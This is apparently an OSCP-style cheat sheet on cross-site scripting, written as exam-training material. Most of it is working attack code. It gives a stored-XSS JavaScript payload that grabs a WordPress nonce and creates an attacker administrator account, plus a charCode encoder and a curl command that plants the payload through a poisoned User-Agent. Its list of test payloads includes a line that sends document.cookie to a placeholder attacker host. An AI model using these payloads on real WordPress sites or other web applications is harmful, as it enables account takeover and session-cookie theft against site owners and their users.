Cross-Site Scripting (XSS)
Identify entry points and weaponize stored XSS to create a WordPress admin via a poisoned User-Agent.
Cross-Site Scripting (XSS)
Unsanitized input reflected or stored as output lets you run JavaScript in a victim's session. On OSCP the high-value use is a stored payload that performs an administrative action (e.g. creating an admin user in WordPress).
Identify entry points
Look for input fields (search, comments, profile, headers like User-Agent) whose values render back into a page. Test these characters and watch whether they're escaped:
01< > ' " { } ;Confirm JS execution in the browser console:
01function multiplyValues(x,y) { return x * y; }02let a = multiplyValues(3, 5);03console.log(a); // 15 -> JS runsStored XSS → create a WordPress admin
Reference: https://shift8web.ca/craft-xss-payload-create-admin-user-in-wordpress-user/
01// 1. Grab the nonce02var ajaxRequest = new XMLHttpRequest();03var requestURL = "/wp-admin/user-new.php";04var nonceRegex = /ser" value="([^"]*?)"/g;05ajaxRequest.open("GET", requestURL, false);06ajaxRequest.send();07var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);08var nonce = nonceMatch[1];09 10// 2. Create an administrator11var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";12ajaxRequest = new XMLHttpRequest();13ajaxRequest.open("POST", requestURL, true);14ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");15ajaxRequest.send(params);Deliver it
Minify (jscompress.com), then encode to String.fromCharCode(...) so it survives inside <script> in a header. Deliver via a poisoned User-Agent through Burp:
01// Encoder02function encode_to_javascript(string) {03 var input = string, output = '';04 for (pos = 0; pos < input.length; pos++) {05 output += input.charCodeAt(pos);06 if (pos != (input.length - 1)) output += ",";07 }08 return output;09}10let encoded = encode_to_javascript('insert_minified_javascript');11console.log(encoded);$curl -i http://offsecwp --user-agent "<script>eval(String.fromCharCode(118,97,114,...))</script>" --proxy 127.0.0.1:8080The payload is stored when the log/visitor plugin renders the User-Agent; it fires when an admin views the plugin dashboard, creating your attacker admin account.
Common test payloads
01<script>alert(document.cookie)</script>02<img src=x onerror=alert(document.cookie)>03<svg onload=alert(document.cookie)>04<script>fetch('http://ATTACKER_IP/?c='+document.cookie)</script>